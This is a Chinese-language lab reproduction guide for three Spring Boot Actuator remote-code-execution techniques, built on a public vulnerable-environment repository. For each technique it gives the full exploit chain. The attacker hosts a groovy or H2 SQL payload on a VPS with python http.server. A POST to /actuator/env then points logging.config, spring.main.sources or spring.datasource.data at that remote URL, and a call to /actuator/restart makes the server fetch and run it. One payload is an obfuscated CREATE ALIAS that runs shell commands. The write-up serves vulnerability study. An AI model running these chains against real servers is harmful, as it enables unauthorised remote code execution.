restart logging.config groovy RCE
漏洞环境:
https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-restart-rce
漏洞复现:
-
用
python3 -m http.server 80
命令在 VPS 上开启 WEB 服务 -
编写
example.groovy
文件放到 VPS WEB 根目录下Runtime.getRuntime().exec('calc.exe')
-
访问
/actuator/env
接口改变logging.config
属性值http://localhost:9098/actuator/restart application/json {"name":"logging.config","value":"http://192.168.43.141/example.groovy"}
-
访问
/actuator/restart
接口重启应用
漏洞原理:
通过访问 /actuator/env
接口改变 logging.config
属性值,然后访问 /actuator/restart
接口重启应用,这时会访问 logging.config
属性值执行的 URL 文件,这时会在 ch.qos.logback.classic.util.ContextInitializer#configureByResource
方法根据 URL 文件后缀为 groovy,最终会执行 groovy 代码
ContextInitializer#configureByResource:
函数调用栈:
注意点:
- 上传到 VPS 上的
example.groovy
文件不能是畸形 groovy 语法,否则服务器会异常退出 - 确保服务器导入了 groovy 依赖,否则服务器会异常退出
restart spring.main.sources groovy RCE
漏洞环境:
https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-restart-rce
漏洞复现:
-
用
python3 -m http.server 80
命令在 VPS 上开启 WEB 服务 -
编写
example.groovy
文件放到 VPS WEB 根目录下Runtime.getRuntime().exec('calc.exe')
-
访问
/actuator/env
接口改变spring.main.sources
属性值http://localhost:9098/actuator/restart application/json {"name":"spring.main.sources","value":"http://192.168.43.141/example.groovy"}
-
访问
/actuator/restart
接口重启应用
漏洞原理:
通过访问 /actuator/env
接口改变 spring.main.sources
属性值,然后访问 /actuator/restart
接口重启应用,spring.main.sources
属性值对应着的是 ApplicationContext 的额外源地址,重启应用后会请求spring.main.sources
属性指向的 URL 地址,org.springframework.boot.BeanDefinitionLoader#load
方法会根据 URL 指向的文件的后缀为 groovy,会执行文件内容中的 groovy 代码
BeanDefinitionLoader#load:
函数调用栈:
restart spring.datasource.data h2 database RCE
漏洞环境:
https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-restart-rce
漏洞复现:
-
用
python3 -m http.server 80
在 VPS 上开启 WEB 服务 -
编写需要执行的
h2 sql
代码并上传至 VPS WEB 根目录CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('CMD','/C','calc');
-
访问
/actuator/env
接口改变spring.datasource.data
属性值为 VPS 上恶意的h2 sql
代码文件http://localhost:9098/actuator/env application/json {"name":"spring.datasource.data","value":"http://192.168.43.141/example.sql"}
-
访问
/actuator/restart
接口重启应用http://localhost:9098/actuator/restart application/json
漏洞原理:
访问 /actuator/env
接口改变 spring.datasource.data
属性值为 VPS 上恶意的 h2 sql
代码,然后访问 /actuator/restart
接口重启应用,在重启应用时会 调用org.springframework.boot.autoconfigure.DataSourceInitializer#runScripts
方法执行 h2 sql
代码,最终RCE
DataSourceInitializer#runScripts:
函数调用栈:
注意点和利用条件:
- VPS 上的
h2 sql
语法不能畸形,否则会导致程序异常退出 - 环境存在相关依赖(
h2database
、spring-boot-starter-data-jpa
) - 没重启执行一次命令都需要把 VPS 上的
h2 sql
内容的函数名改一下
Reference:
https://github.com/colocup/SpringBootVulExploit